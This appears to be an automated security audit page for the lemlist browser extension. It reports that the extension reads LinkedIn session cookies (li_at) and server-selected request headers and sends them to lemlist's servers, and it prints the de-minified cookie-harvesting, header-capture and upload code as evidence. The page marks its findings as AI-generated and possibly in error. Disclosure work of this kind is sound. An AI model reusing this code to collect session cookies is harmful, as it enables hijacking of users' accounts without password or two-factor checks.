Is lemlist safe?
lemlist is high risk. lemlist actions on LinkedIn (profile push, bulk import) pull LinkedIn cookies via the background script, forwarding them with the page URL into the lemlist iframe. The dynamic run didn't reach login, but shipped code contains this path.…
Who publishes itlempire - 1 other listing from the same operator, 1 of them carrying a finding
lempire - 1 other listing from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 30k+ users between them. 1 of them carries a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
LinkedIn Cookies Relayed To Lemlist After User Actions
lemlist actions on LinkedIn (profile push, bulk import) pull LinkedIn cookies via the background script, forwarding them with the page URL into the lemlist iframe.
The dynamic run didn't reach login, but shipped code contains this path.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You start a lemlist action while viewing LinkedIn.
The relevant code paths are tied to profile push and bulk-import flows rather than every page view.
The extension reads your LinkedIn cookies and forwards them with the active LinkedIn page URL to the lemlist iframe.
The behavioral run did not reach this login-gated interaction, but the shipped code contains the full message path.
- LinkedIn cookiesli_at=AQEDAT5dEo8H3h0AAAGQd3e8ZpY; JSESSIONID=ajax:4938217051927468123
This can identify your LinkedIn browser session and may let another component make LinkedIn requests as that session.
- Current LinkedIn pagehttps://www.linkedin.com/in/jordan-example/
This reveals which LinkedIn profile, search, or lead-import page was active when you used the lemlist action.
- Action contextpage=extensionBulkImport; importMode=searchLeads; openPushPanel=true
This tells the lemlist frame which workflow you opened, such as a push panel or bulk import.
The extension iframe loads the lemlist extension page; no HTTP request body was captured during testing.
Shipped code path from cookie read to iframe postMessage
Background GET_COOKIE handler reads LinkedIn cookies
assets/background-IRyjmJTA.js:368-396const Oe = () => { const e = [s.handle({ command: i.GET_COOKIE, handler: async (t, { sender: n }) => new Promise((r, o) => { chrome.cookies.getAll({ url: "https://www.linkedin.com/" }, a => { if (chrome.runtime.lastError) { o(new Error(`Failed to get cookies: ${chrome.runtime.lastError.message}`)); return } if (!a) { o(new Error("Failed to get cookies: cookieObjects is undefined")); return } let d = ""; a.find(m => m.name === "li_at") && (d = a.map(m => `${m.name}=${m.value}`).join("; ")), r({ cookie: d, url: n?.tab?.url || "" }) }) }) })]; return () => { e.forEach(t => t()) }}Profile push flow requests cookies and emits them to lemlist
assets/content-BBE1mZnc.js:3234-3286const ma = async () => { if (!gt()) return; await g.emit("lemapp", y.CHANGE_EXTENSION_PAGE, { page: "extensionPushProfileToCampaign", dark: Ue(), forceOpen: !0, from: "linkedin-profile", openPushPanel: !0 }); const e = T({ page: Me, key: "memberId" })?.dataset?.memberId, t = window.location.href.replace(/\/+$/, ""); if (await g.emit("lemapp", y.GET_LEADS_INFO, { displayedLeads: [{ variables: { linkedinUrl: t, memberId: e } }], source: Me }), t) { const { cookie: n } = await g.send("background", y.GET_COOKIE, void 0, { retry: { shouldRetryOnResult: o => !o } }); await N({ page: Me, key: "userName", mode: "single", timeout: 1e4 }); const r = await mn({ page: Me }); if (r && Object.keys(r).length > 0) { const { profileUrl: o, ...a } = r; await g.emit("lemapp", y.EXTRACT_PROFILE_FROM_LINKEDIN_URL, { url: t, cookie: n, ...a, destination: "campaign" }) } }}Bulk import flow includes cookie and importPageUrl
assets/content-BBE1mZnc.js:4122-4140const Pu = async e => { const { cookie: t } = await g.send("background", y.GET_COOKIE, void 0, { retry: { shouldRetryOnResult: r => !r } }), n = Ri(); g.emit("lemapp", y.CHANGE_EXTENSION_PAGE, { page: "extensionBulkImport", importMode: "searchLeads", ...e?.count, forceOpen: !0, importPageUrl: window.location.href, cookie: t, openPushPanel: !0, dark: Ue(), previewImportedLeads: n })}Message bus posts content-script payloads to the lemlist iframe
assets/websites-bVc8_Czq.js:383-442sendMessage(e) { const { source: t, target: s } = e, r = { ...e, params: e.payload }; if (t === "content-script" && s === "background") { chrome?.runtime?.sendMessage?.(r).catch(o => { this.debug && d.warn(`[MessageBus] Failed to send to background: ${e.command}`, o) }); return } if (t === "content-script" && s === "lemapp") { (document.querySelector(".lm-iframe")?.contentWindow || window).postMessage(r, "*"); return } if (t === "background" && s === "content-script") { if (e.tabId && chrome?.tabs?.sendMessage) { chrome.tabs.sendMessage(e.tabId, r).catch(o => { this.debug && d.warn(`[MessageBus] Failed to send to tab ${e.tabId}: ${e.command}`, o) }); return } chrome?.tabs?.query && chrome.tabs.query({ active: !0, currentWindow: !0 }, o => { for (const n of o) n.id && chrome.tabs && chrome.tabs.sendMessage(n.id, r).catch(u => { this.debug && d.warn(`[MessageBus] Failed to send to tab ${n.id}: ${e.command}`, u) }) }); return } if (t === "background" && s === "popup") { chrome?.runtime?.sendMessage?.(r).catch(o => { this.debug && d.warn(`[MessageBus] Failed to send to popup: ${e.command}`, o) }); return } if (t === "lemapp" && s === "content-script") { (window.parent?.parent || window.parent || window).postMessage({ ...r, lemlist: 1 }, "*"); return } if (t === "oldlemapp" && s === "content-script") { (window.parent?.parent || window.parent || window).postMessage(r, "*"); return } if (t === "popup" && s === "background") { chrome?.runtime?.sendMessage?.(r).catch(o => { this.debug && d.warn(`[MessageBus] Failed to send from popup to background: ${e.command}`, o) }); return } d.warn(`[MessageBus] Unsupported route: ${t} -> ${s}`)}- app.lemlist.com
Hosts the lemlist extension iframe that receives content-script messages from the LinkedIn page.
- auth.lempire.com
Supplies the lemlist login token used by the iframe bootstrap code when the user is signed in.
Server-controlled config captures LinkedIn headers plus li_at
v5.0.10 adds webRequest and listens on every *://*.linkedin.com/* request.
Captured headers are set by a config from lemlist's /context API, installed unvalidated.
A test config captured a header plus our li_at cookie, sent to lemlist.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
lemlist's /context API response includes a linkedinHeadersCaptureConfig entry naming a request header and a linkedin.com URL pattern to watch.
The extension installs the rule without validation and, on a matching request, captures the named header plus your li_at session cookie and sends both to lemlist.
Stored as returned by /context, reapplied each restart. Client id is server-assigned; the header shown is what we supplied for testing.
- Location
- chrome.storage.local key 'linkedinHeadersCaptureConfig'
{ "<client id, illustrative>": { "headers": [ "cookie" ], "urlPattern": "*://*.linkedin.com/*" }}Observed during dynamic analysis: after supplying a capture rule naming the request's Cookie header and planting a synthetic li_at session-cookie value, browsing to a matching linkedin.com page triggered this POST carrying the captured header value and the planted marker value verbatim, confirming both leave the device.
- Content-Type
- application/json
- Authorization
- Bearer <lemlist login token>
{ "client": "<client id from config>", "headers": { "cookie": "<captured Cookie request header value>" }, "liAt": "<planted marker value>"}- Client IDteam_42_headers (illustrative)
Identifies which capture rule matched; the value is assigned by lemlist's server.
- Captured header valuecookie: <captured LinkedIn request header value>
The value of each request header named in the server-sent config for the matching linkedin.com request. Any header name can be requested.
- LinkedIn session cookie (li_at)<planted marker value in our test session>
Your live LinkedIn login session token, sent alongside the captured header on every report.
Config install (unvalidated) and the request listener that captures + reports header values
Readable config install
assets/background-BBb0pwJn.jsconst LINKEDIN_URL_PATTERN = "*://*.linkedin.com/*";let captureRules = []; // [{ client, rule: { regex, headers } }]function globToRegExp(pattern) { const escaped = pattern.replace(/[.+?^${}()|[\]\\]/g, "\\$&").replace(/\*/g, ".*"); return new RegExp(`^${escaped}$`);}function installCaptureConfig(config) { // config: { [clientId]: { urlPattern: string, headers: string[] } } // No validation of clientId, urlPattern, or header names. captureRules = Object.entries(config).flatMap(([clientId, rule]) => !rule?.urlPattern || !rule.headers?.length ? [] : [{ client: clientId, rule: { regex: globToRegExp(rule.urlPattern), headers: rule.headers.map(h => h.toLowerCase()) } }] );}async function applyRemoteHeaderCaptureConfig(config) { if (!config) return; installCaptureConfig(config); await chromeStorageSet("linkedinHeadersCaptureConfig", config); // persisted verbatim}Readable listener + reporter
assets/background-BBb0pwJn.jsfunction findHeaderValue(headers, name) { return headers?.find(h => h.name.toLowerCase() === name)?.value ?? "";}async function getLiAtCookie() { return (await chrome.cookies.get({ url: "https://www.linkedin.com", name: "li_at" }))?.value ?? "";}async function reportChangedHeaders(clientId, changedHeaders) { const liAt = await getLiAtCookie(); if (!liAt) return; const prev = lastSentPerClient[clientId] ?? { headers: {}, liAt: "" }; const diff = {}; for (const [name, value] of Object.entries(changedHeaders)) { if (value && (value !== prev.headers[name] || liAt !== prev.liAt)) diff[name] = value; } if (Object.keys(diff).length) { await callApi({ route: "/linkedin/updateTrackHeaders", payload: { client: clientId, headers: diff, liAt } }); lastSentPerClient[clientId] = { headers: { ...prev.headers, ...diff }, liAt }; }}function onBeforeSendHeaders(details) { for (const { client, rule } of captureRules) { if (!rule.regex.test(details.url)) continue; const captured = {}; for (const headerName of rule.headers) { const value = findHeaderValue(details.requestHeaders, headerName); if (value) captured[headerName] = value; } reportChangedHeaders(client, captured); }}chrome.webRequest.onBeforeSendHeaders.addListener( onBeforeSendHeaders, { urls: ["*://*.linkedin.com/*"] }, ["requestHeaders", "extraHeaders"]);- app.lemlist.com
lemlist's backend API. Receives server-selected linkedin.com header values plus your li_at session cookie via updateTrackHeaders whenever a capture rule is configured.
LinkedIn session cookie sent to lemlist's servers
lemlist's extension reads all linkedin.com cookies, incl. li_at, on install/change, joins them, POSTs to lemlist's backend.
A planted li_at value appeared in it. li_at keeps LinkedIn signed in; a copy grants access with no password/2FA.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You install the lemlist extension, or your LinkedIn session cookie (li_at) is set or changes while it's installed.
The extension reads every cookie set on linkedin.com, including your li_at session cookie, and sends the full cookie string to lemlist's backend.
Observed during dynamic analysis: after planting a synthetic li_at session-cookie value on linkedin.com, the cookie-change listener fired and this POST carried the planted marker value verbatim, confirming the cookie leaves the device.
- Content-Type
- application/json
- Authorization
- Bearer <lemlist login token>
{ "cookie": "<every cookie set on linkedin.com, joined as 'name=value; name=value; ...', including li_at=<planted marker value>>", "extensionVersion": "5.0.12"}- LinkedIn cookie jar (incl. li_at)li_at=<planted marker value>; JSESSIONID=... (illustrative — additional linkedin.com cookies are included in the same string)
Every cookie currently set on linkedin.com, including the li_at session cookie that keeps you signed in.
- Extension version5.0.12
The installed version of the lemlist extension, sent alongside the cookie.
The cookie-read-and-send function, and the two triggers that call it
Readable cookie sync
assets/background-BBb0pwJn.jslet lastSyncedCookieString = "";async function getLinkedInCookies() { return new Promise(resolve => { chrome.cookies.getAll({ url: "https://www.linkedin.com/" }, cookies => { resolve(cookies ?? []); }); });}async function sendCookiesToLemlist(cookieString) { await callApi({ route: "/linkedin/updateCookie", payload: { cookie: cookieString, extensionVersion: chrome.runtime.getManifest().version } });}async function notifyLemlistCookieRemoved(cookieString) { await callApi({ route: "/linkedin/removeCookie", payload: { cookie: cookieString } });}async function syncLinkedInCookie({ force = false } = {}) { try { const cookies = await getLinkedInCookies(); if (!cookies.find(c => c.name === "li_at")) { if (lastSyncedCookieString) { await notifyLemlistCookieRemoved(lastSyncedCookieString); lastSyncedCookieString = ""; } return { success: false, noCookie: true }; } const joined = cookies.map(c => `${c.name}=${c.value}`).join("; "); if (joined === lastSyncedCookieString && !force) return { success: true }; await sendCookiesToLemlist(joined); lastSyncedCookieString = joined; return { success: true }; } catch (err) { return { success: false, error: err instanceof Error ? err.message : "Unknown error" }; }}Readable triggers
assets/background-BBb0pwJn.jsconst LI_AT_CHANGE_CAUSES = ["explicit", "expired_overwrite"];function watchLinkedInCookieChanges() { chrome.cookies.onChanged.addListener(({ cookie, cause }) => { if (LI_AT_CHANGE_CAUSES.includes(cause) && cookie.name === "li_at") { syncLinkedInCookie({ force: true }); } });}chrome.runtime.onInstalled.addListener(async () => { syncLinkedInCookie({ force: true });});- app.lemlist.com
lemlist's own backend. Receives your full linkedin.com cookie jar, including li_at, via updateCookie whenever the extension installs or your LinkedIn session cookie changes.